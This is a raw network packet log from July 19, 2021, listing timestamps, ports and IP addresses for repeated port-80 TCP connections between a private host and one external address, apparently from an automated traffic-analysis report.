Jul 19, 2021 18:35:22.759351015 CEST	49742	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:22.841768026 CEST	80	49738	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:22.841885090 CEST	49738	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:22.855880976 CEST	80	49742	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:22.856031895 CEST	49742	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:22.856671095 CEST	49742	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:22.856684923 CEST	49742	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:22.856964111 CEST	49742	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:22.856997013 CEST	49742	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:22.950731993 CEST	80	49742	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:22.950756073 CEST	80	49742	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:22.950768948 CEST	80	49742	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:22.950787067 CEST	80	49742	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:22.950797081 CEST	80	49742	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:22.950953960 CEST	49742	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:22.951014996 CEST	49742	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:22.951235056 CEST	80	49742	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:22.951349020 CEST	49742	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:23.044795036 CEST	80	49742	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:23.044826031 CEST	80	49742	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:23.044843912 CEST	80	49742	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:23.044857979 CEST	80	49742	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:23.044872999 CEST	80	49742	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:23.044958115 CEST	49742	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:23.044969082 CEST	80	49742	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:23.044985056 CEST	80	49742	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:23.045033932 CEST	49742	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:23.045083046 CEST	49742	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:23.138400078 CEST	80	49742	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:23.138425112 CEST	80	49742	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:23.138438940 CEST	80	49742	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:23.138456106 CEST	80	49742	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:23.138468981 CEST	80	49742	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:23.138559103 CEST	80	49742	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:23.138578892 CEST	80	49742	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:23.138680935 CEST	49742	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:23.142657042 CEST	80	49742	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:23.235395908 CEST	80	49742	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:23.235434055 CEST	80	49742	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:23.235446930 CEST	80	49742	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:23.235467911 CEST	80	49742	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.000739098 CEST	49742	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:24.002160072 CEST	49743	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:24.085513115 CEST	80	49743	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.085714102 CEST	49743	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:24.086184025 CEST	49743	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:24.086330891 CEST	49743	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:24.086512089 CEST	49743	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:24.086590052 CEST	49743	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:24.094801903 CEST	80	49742	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.094983101 CEST	49742	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:24.168812990 CEST	80	49743	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.168855906 CEST	80	49743	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.168874025 CEST	80	49743	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.168973923 CEST	49743	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:24.169286966 CEST	80	49743	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.169368982 CEST	49743	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:24.171483994 CEST	80	49743	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.171612024 CEST	49743	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:24.172265053 CEST	80	49743	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.172292948 CEST	80	49743	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.172308922 CEST	80	49743	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.172323942 CEST	80	49743	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.172339916 CEST	80	49743	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.172370911 CEST	49743	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:24.172424078 CEST	49743	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:24.251882076 CEST	80	49743	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.251914978 CEST	80	49743	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.251992941 CEST	49743	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:24.252041101 CEST	49743	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:24.254053116 CEST	80	49743	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.254080057 CEST	80	49743	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.254142046 CEST	49743	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:24.254179001 CEST	49743	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:24.254801989 CEST	80	49743	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.254894972 CEST	80	49743	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.254909992 CEST	49743	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:24.254992962 CEST	49743	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:24.255058050 CEST	80	49743	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.255153894 CEST	49743	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:24.302566051 CEST	80	49743	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.302721977 CEST	49743	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:24.340187073 CEST	80	49743	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.340292931 CEST	49743	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:24.385222912 CEST	80	49743	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.385253906 CEST	80	49743	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.422858953 CEST	80	49743	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.422887087 CEST	80	49743	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.422903061 CEST	80	49743	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.540122032 CEST	49743	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:24.542090893 CEST	49744	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:24.627074957 CEST	80	49743	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.627157927 CEST	49743	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:24.635714054 CEST	80	49744	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.635803938 CEST	49744	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:24.636507034 CEST	49744	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:24.636631012 CEST	49744	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:24.636835098 CEST	49744	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:24.636965036 CEST	49744	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:24.730998039 CEST	80	49744	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.732467890 CEST	80	49744	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.732490063 CEST	80	49744	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.732505083 CEST	80	49744	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.732516050 CEST	80	49744	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.732532024 CEST	80	49744	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.732542992 CEST	80	49744	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.732563972 CEST	80	49744	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.732578039 CEST	80	49744	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.732593060 CEST	80	49744	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.732913971 CEST	49744	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:24.732942104 CEST	80	49744	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.733040094 CEST	80	49744	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.733419895 CEST	80	49744	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.733942986 CEST	49744	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:24.826451063 CEST	80	49744	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.826474905 CEST	80	49744	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.826482058 CEST	80	49744	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.826489925 CEST	80	49744	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.826554060 CEST	80	49744	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.827064037 CEST	80	49744	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.827516079 CEST	80	49744	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.827549934 CEST	80	49744	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.839943886 CEST	49744	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:24.935482979 CEST	80	49744	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.935527086 CEST	80	49744	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.935554028 CEST	80	49744	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.935580015 CEST	80	49744	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.935710907 CEST	49744	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:24.935803890 CEST	80	49744	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.935944080 CEST	80	49744	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:24.935971975 CEST	80	49744	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:25.029161930 CEST	80	49744	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:25.029295921 CEST	80	49744	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:25.029459953 CEST	80	49744	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:25.029567957 CEST	80	49744	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:25.029731035 CEST	80	49744	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:25.171562910 CEST	49744	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:25.173197985 CEST	49745	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:25.256176949 CEST	80	49745	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:25.258527994 CEST	49745	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:25.260157108 CEST	49745	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:25.260610104 CEST	49745	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:25.260638952 CEST	49745	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:25.260831118 CEST	49745	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:25.280723095 CEST	80	49744	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:25.287830114 CEST	49744	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:25.342818022 CEST	80	49745	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:25.342931032 CEST	80	49745	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:25.343509912 CEST	80	49745	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:25.343730927 CEST	80	49745	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:25.343848944 CEST	80	49745	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:25.344014883 CEST	80	49745	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:25.344168901 CEST	80	49745	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:25.344350100 CEST	80	49745	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:25.344413996 CEST	80	49745	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:25.344577074 CEST	80	49745	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:25.344899893 CEST	80	49745	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:25.345172882 CEST	80	49745	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:25.345752001 CEST	49745	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:25.428219080 CEST	80	49745	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:25.428258896 CEST	80	49745	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:25.428270102 CEST	80	49745	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:25.428298950 CEST	80	49745	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:25.428358078 CEST	80	49745	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:25.428564072 CEST	80	49745	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:25.440018892 CEST	49745	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:25.534802914 CEST	80	49745	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:25.535686016 CEST	49745	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:25.618019104 CEST	80	49745	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:25.618040085 CEST	80	49745	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:25.618046999 CEST	80	49745	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:25.618062019 CEST	80	49745	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:25.618071079 CEST	80	49745	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:25.618082047 CEST	80	49745	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:25.626097918 CEST	80	49745	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:25.626315117 CEST	49745	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:25.873388052 CEST	49745	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:25.874634027 CEST	49746	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:25.957124949 CEST	80	49745	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:25.957207918 CEST	49745	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:25.969536066 CEST	80	49746	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:25.969670057 CEST	49746	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:25.970334053 CEST	49746	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:25.970443964 CEST	49746	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:25.970689058 CEST	49746	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:25.970845938 CEST	49746	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:26.065984011 CEST	80	49746	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.066023111 CEST	80	49746	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.066076040 CEST	80	49746	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.066091061 CEST	49746	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:26.066443920 CEST	80	49746	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.066520929 CEST	49746	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:26.066730976 CEST	80	49746	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.066804886 CEST	49746	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:26.066998005 CEST	80	49746	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.067066908 CEST	49746	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:26.067075968 CEST	80	49746	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.067147970 CEST	49746	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:26.067401886 CEST	80	49746	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.067461967 CEST	49746	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:26.067527056 CEST	80	49746	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.067641020 CEST	80	49746	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.067708015 CEST	49746	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:26.067759037 CEST	49746	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:26.068051100 CEST	80	49746	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.068133116 CEST	49746	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:26.068238974 CEST	80	49746	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.068311930 CEST	49746	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:26.068478107 CEST	80	49746	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.068830013 CEST	49746	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:26.161117077 CEST	80	49746	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.161148071 CEST	80	49746	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.161317110 CEST	80	49746	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.161576033 CEST	80	49746	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.161700964 CEST	80	49746	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.162116051 CEST	80	49746	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.162271976 CEST	80	49746	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.162288904 CEST	80	49746	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.165035963 CEST	49746	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:26.165075064 CEST	80	49746	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.165105104 CEST	80	49746	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.165193081 CEST	49746	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:26.165219069 CEST	49746	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:26.206167936 CEST	80	49746	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.206295967 CEST	49746	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:26.267970085 CEST	80	49746	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.268160105 CEST	49746	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:26.300832987 CEST	80	49746	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.300860882 CEST	80	49746	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.362823009 CEST	80	49746	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.362847090 CEST	80	49746	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.362854004 CEST	80	49746	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.363002062 CEST	80	49746	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.488229990 CEST	49746	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:26.489243984 CEST	49747	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:26.582581997 CEST	80	49747	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.582770109 CEST	49747	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:26.583730936 CEST	80	49746	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.583844900 CEST	49746	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:26.583884954 CEST	49747	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:26.584135056 CEST	49747	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:26.584474087 CEST	49747	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:26.584692001 CEST	49747	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:26.677809000 CEST	80	49747	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.679287910 CEST	80	49747	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.679464102 CEST	80	49747	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.679528952 CEST	80	49747	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.679534912 CEST	49747	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:26.679580927 CEST	80	49747	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.679641962 CEST	80	49747	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.681750059 CEST	80	49747	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.681838989 CEST	49747	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:26.681869984 CEST	49747	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:26.681883097 CEST	49747	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:26.681889057 CEST	49747	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:26.682429075 CEST	80	49747	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.683579922 CEST	80	49747	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.684720993 CEST	49747	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:26.684740067 CEST	49747	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:26.684771061 CEST	80	49747	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.684793949 CEST	80	49747	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.686152935 CEST	49747	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:26.783317089 CEST	80	49747	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.783435106 CEST	49747	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:26.783515930 CEST	80	49747	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.783590078 CEST	80	49747	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.783708096 CEST	49747	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:26.783713102 CEST	80	49747	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.783926964 CEST	80	49747	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.783956051 CEST	80	49747	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.784013987 CEST	49747	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:26.784050941 CEST	49747	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:26.784081936 CEST	80	49747	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.784149885 CEST	49747	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:26.785717964 CEST	80	49747	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.785808086 CEST	80	49747	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.785913944 CEST	49747	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:26.828838110 CEST	80	49747	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.835621119 CEST	49747	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:26.876322031 CEST	80	49747	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.876456976 CEST	49747	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:26.877137899 CEST	80	49747	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.877206087 CEST	49747	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:26.878518105 CEST	80	49747	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.878623009 CEST	80	49747	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.878907919 CEST	80	49747	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.878981113 CEST	80	49747	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.928705931 CEST	80	49747	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.928755045 CEST	80	49747	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.969598055 CEST	80	49747	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.969640017 CEST	80	49747	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.969666004 CEST	80	49747	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.970082045 CEST	80	49747	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:26.970351934 CEST	80	49747	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.012053967 CEST	49747	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.013030052 CEST	49748	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.091985941 CEST	80	49748	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.092178106 CEST	49748	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.092675924 CEST	49748	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.092762947 CEST	49748	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.092921972 CEST	49748	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.093004942 CEST	49748	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.104762077 CEST	80	49747	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.104937077 CEST	49747	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.171016932 CEST	80	49748	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.171211004 CEST	80	49748	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.171327114 CEST	80	49748	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.171330929 CEST	49748	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.171443939 CEST	80	49748	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.171571970 CEST	80	49748	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.171605110 CEST	49748	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.171631098 CEST	49748	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.171695948 CEST	80	49748	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.171746016 CEST	49748	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.172287941 CEST	80	49748	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.172456980 CEST	49748	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.172821999 CEST	80	49748	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.172930956 CEST	49748	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.173127890 CEST	80	49748	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.173190117 CEST	49748	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.175615072 CEST	80	49748	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.175631046 CEST	80	49748	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.175637960 CEST	80	49748	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.175652981 CEST	80	49748	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.175735950 CEST	49748	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.175791979 CEST	49748	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.249869108 CEST	80	49748	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.249886990 CEST	80	49748	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.249893904 CEST	80	49748	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.249903917 CEST	80	49748	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.250085115 CEST	49748	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:27.250097990 CEST	80	49748	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:27.250196934 CEST	49748	80	192.168.2.6	185.114.247.54
